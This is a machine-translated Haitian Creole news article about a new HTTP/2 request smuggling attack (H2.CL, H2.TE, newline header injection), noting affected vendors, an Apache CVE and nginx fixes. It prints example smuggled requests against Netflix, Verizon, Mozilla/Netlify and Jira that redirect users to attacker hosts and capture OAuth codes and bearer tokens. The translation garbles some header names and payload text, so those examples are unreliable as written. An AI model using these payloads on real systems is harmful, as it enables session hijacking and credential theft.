Yon nouvo atak sou sistèm front-end-backend ki pèmèt ou kwense nan demann

Sistèm entènèt kote front end aksepte koneksyon atravè HTTP/2 epi transmèt yo nan backend via HTTP/1.1 yo te ekspoze a yon nouvo varyant nan atak "HTTP Request Smuggling", ki pèmèt, lè yo voye demann kliyan ki fèt espesyalman pou yo. kwen nan sa ki nan demann lòt itilizatè yo trete nan menm koule ant entèfas ak backend. Yo ka itilize atak la pou mete kòd JavaScript move nan yon sesyon ak yon sit entènèt lejitim, kontoune sistèm restriksyon aksè ak entèsepte paramèt otantifikasyon.

Pwoblèm nan afekte proxy entènèt, balans chaj, akseleratè entènèt, sistèm livrezon kontni ak lòt konfigirasyon kote demann yo redireksyon nan yon fason devan-fin-a-backend. Otè etid la te demontre posiblite pou atake sistèm Netflix, Verizon, Bitbucket, Netlify CDN ak Atlassian, e li te resevwa 56 mil dola nan pwogram rekonpans pou idantifye vilnerabilite yo. Pwoblèm nan te konfime tou nan pwodwi F5 Networks. Pwoblèm nan afekte pasyèlman mod_proxy nan sèvè Apache http (CVE-2021-33193), yo espere yon ranje nan vèsyon 2.4.49 (devlopè yo te avize pwoblèm nan nan kòmansman mwa me epi yo te bay 3 mwa pou ranje li). Nan nginx, kapasite pou espesifye ansanm "Content-Length" ak "Transfè-Kodaj" headers yo te bloke nan dènye lage (1.21.1). Zouti atak yo deja enkli nan bwat zouti Burp epi yo disponib nan fòm ekstansyon Turbo Intruder la.

Prensip operasyon nouvo metòd pou mete demann yo nan trafik la sanble ak vilnerabilite menm chèchè a te idantifye de ane de sa, men li limite a entèfas ki aksepte demann sou HTTP/1.1. Se pou nou sonje ke nan konplo frontend-backend la, demann kliyan yo resevwa pa yon ne adisyonèl - frontend la, ki etabli yon koneksyon TCP ki dire lontan ak backend la, ki dirèkteman trete demann yo. Atravè koneksyon komen sa a, demann soti nan itilizatè diferan yo anjeneral transmèt, ki swiv chèn lan youn apre lòt, separe pa vle di nan pwotokòl la HTTP.

Klasik "HTTP Request Smuggling" atak la te baze sou lefèt ke frontends ak backends entèprete itilizasyon HTTP headers "Content-Length" (detèmine gwosè total done yo nan demann lan) ak "Transfè-Kodaj: Chunked" (pèmèt. done yo dwe transfere an pati) yon fason diferan. . Pa egzanp, si entèfas a sèlman sipòte "Content-Length" men li inyore "Transfè-Kodaj: an fragman", Lè sa a, yon atakè ta ka voye yon demann ki gen tou de "Content-Length" ak "Transfè-Kodaj: an moso", men. gwosè a se "Content-Length" pa matche ak gwosè a nan chèn nan chunked. Nan ka sa a, entèfas a pral trete ak redireksyon demann lan an akò ak "Content-Length", ak backend la pral tann pou fini an nan blòk la ki baze sou "Transfè-Kodaj: an fragman" ak ke rès la nan demann atakè a pral. dwe nan kòmansman an nan demann yon lòt moun transmèt pwochen.

Kontrèman ak pwotokòl tèks HTTP/1.1, ki analize nan nivo liy lan, HTTP/2 se yon pwotokòl binè epi li manipile blòk done ki gen yon gwosè pre-espesifye. Sepandan, HTTP/2 itilize pseudo-tèt ki koresponn ak tèt HTTP regilye. Nan ka entèraksyon ak backend la atravè pwotokòl HTTP/1.1, frontend la tradui pseudo-headers sa yo nan HTTP headers ki sanble HTTP/1.1. Pwoblèm lan se ke backend la pran desizyon sou analiz kouran an ki baze sou tèt HTTP yo mete nan frontend a, san yo pa gen enfòmasyon sou paramèt yo nan demann orijinal la.

An patikilye, valè "kontni-longè" ak "transfè-kodaj" ka transmèt nan fòm pseudo-headers, malgre lefèt ke yo pa itilize nan HTTP/2, depi gwosè a nan tout done yo detèmine. nan yon jaden separe. Sepandan, pandan pwosesis konvèti yon demann HTTP/2 an HTTP/1.1, yo pote tèt yo epi yo ka konfonn backend la. Gen de varyant prensipal atak: H2.TE ak H2.CL, kote backend la twonpe pa yon move transfè-kodaj oswa valè kontni-longè ki pa koresponn ak gwosè aktyèl la nan kò demann lan resevwa pa frontend la. HTTP/2 pwotokòl.

Yon nouvo atak sou sistèm front-end-backend ki pèmèt ou kwense nan demann

Yon egzanp yon atak H2.CL se presize yon gwosè kòrèk nan pseudo-header kontni-longè a lè w ap voye yon demann HTTP/2 bay Netflix. Demann sa a mennen nan adisyon a nan yon header HTTP ki sanble Content-Length lè w ap jwenn aksè nan backend la atravè HTTP/1.1, men depi gwosè a nan Content-Length espesifye mwens pase youn aktyèl la, yon pati nan done yo nan ke a trete kòm la. kòmansman pwochen demann lan.

Pa egzanp, mande HTTP/2:metòd POST:chemen /n:otorite www.netflix.com kontni-longè 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Sa pral lakòz yon demann yo voye bay backend la: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Depi Content-Length gen yon valè 4, backend la pral aksepte sèlman "abcd" kòm kò a nan demann lan, ak rès la nan "GET /n HTTP/1.1..." yo pral trete kòm kòmansman an nan yon demann ki vin apre. ki asosye ak yon lòt itilizatè. An konsekans, kouran an pral vin desincronize epi an repons a pwochen demann lan, rezilta a nan pwosesis demann lan egare yo pral bay. Nan ka Netflix, espesifye yon lame twazyèm pati nan header "Lame:" nan yon demann enbesil te lakòz kliyan an retounen repons lan "Kote: https://02.rs?x.netflix.com/n" ak pèmèt kontni abitrè yo dwe voye bay kliyan an, tankou Kouri kòd JavaScript ou a nan kontèks sit Netflix la.

Dezyèm opsyon atak la (H2.TE) enplike nan ranplase "Transfè-Kodaj: Chunked" header la. Itilizasyon pseudo-header transfè-kodaj nan HTTP/2 entèdi pa spesifikasyon la epi yo preskri demann ak li yo dwe trete kòm kòrèk. Malgre sa, kèk enplemantasyon frontend pa pran egzijans sa a an kont epi pèmèt itilizasyon yon pseudo-header transfè-kodaj nan HTTP/2, ki konvèti nan yon header HTTP menm jan an. Si gen yon header "Transfè-Kodaj", backend la ka pran li kòm yon pi gwo priyorite epi analize done yo moso pa moso nan mòd "chanked" lè l sèvi avèk blòk ki gen diferan gwosè nan fòma "{size}\r\n{blòk". }\r\n{gwosè} \r\n{blòk}\r\n0", malgre premye divizyon an pa gwosè jeneral.

Prezans nan yon espas konsa te demontre pa egzanp lan nan Verizon. Pwoblèm nan konsène pòtal otantifikasyon an ak sistèm jesyon kontni, ki se tou itilize sou sit tankou Huffington Post ak Engadget. Pa egzanp, yon demann kliyan atravè HTTP/2: :metòd POST :chemen /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Rezilta nan voye yon demann HTTP/1.1 nan backend la: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfè-Kodaj: chunked 0 GET /oops HTTP/1.1 Host: psres. Net Content- Longè: 10x=

Backend la, nan vire, inyore header "Content-Length" la epi li fè divize nan kouran ki baze sou "Transfè-Kodaj: an fragman". Nan pratik, atak la te fè li posib pou redireksyon demann itilizatè yo sou sit entènèt yo, ki gen ladan entèsepte demann ki gen rapò ak otantifikasyon OAuth, paramèt yo ki te parèt nan header Referer la, osi byen ke similye yon sesyon otantifikasyon ak deklanche sistèm itilizatè a voye kalifikasyon. bay lame atakè a. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Otorizasyon: Bearer eyJhcGwiOiJIUzI1Gi1sInkR6c

Pou atake aplikasyon HTTP/2 ki pa pèmèt yo espesifye pseudo-header transfè-kodaj la, yo te pwopoze yon lòt metòd ki enplike nan ranplase header "Transfè-kodaj" la lè li tache l ak lòt pseudo-headers separe pa yon karaktè newline ( lè konvèti nan HTTP/1.1 nan ka sa a kreye de headers HTTP separe).

Pou egzanp, Atlassian Jira ak Netlify CDN (yo itilize pou sèvi paj Mozilla kòmanse nan Firefox) te afekte pa pwoblèm sa a. Espesyalman, demann HTTP/2:metòd POST:chemen /:otorite start.mozilla.org foo b\r\n transfè-kodaj: 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Longè kontni: 5\r\n \r\nx=

lakoz HTTP/1.1 POST / HTTP/1.1 demann yo te voye bay backend la\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfè-Kodaj: Chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Lame: evil-netlify-domain\r\n Longè kontni: 5\r\n \r \nx=

Yon lòt opsyon pou ranplase "Transfè-Kodaj" header a se te tache li nan non an nan yon lòt pseudo-header oswa nan yon liy ak yon metòd demann. Pa egzanp, lè w ap jwenn aksè nan Atlassian Jira, non pseudo-header "foo: bar\r\ntransfer-encoding" ak valè "chunked" te lakòz HTTP headers "foo: bar" ak "transfer-encoding: chunked" te ajoute. , epi presize pseudo-antèt ":metod" valè "GET / HTTP/1.1\r\nTransfer-encoding: chunked" te tradui nan "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Chèchè a ki te idantifye pwoblèm nan te pwopoze tou yon teknik tunneling demann pou atake entèfas, kote chak adrès IP etabli yon koneksyon separe ak backend la ak trafik soti nan itilizatè diferan pa melanje. Teknik yo pwopoze a pa pèmèt entèfere ak demann ki soti nan lòt itilizatè yo, men li fè li posib anpwazonnen yon kachèt pataje ki afekte pwosesis lòt demann, epi li pèmèt sibstitisyon an nan tèt HTTP entèn yo itilize pou transfere enfòmasyon sèvis soti nan entèfas la nan backend la ( pou egzanp, lè otantifikasyon sou bò fasad nan Tèt sa yo ka transmèt enfòmasyon sou itilizatè aktyèl la nan backend la). Kòm yon egzanp pou aplike metòd la nan pratik, lè l sèvi avèk anpwazònman kachèt, li te posib jwenn kontwòl sou paj nan sèvis Bitbucket la.

Sous: opennet.ru

Add nouvo kòmantè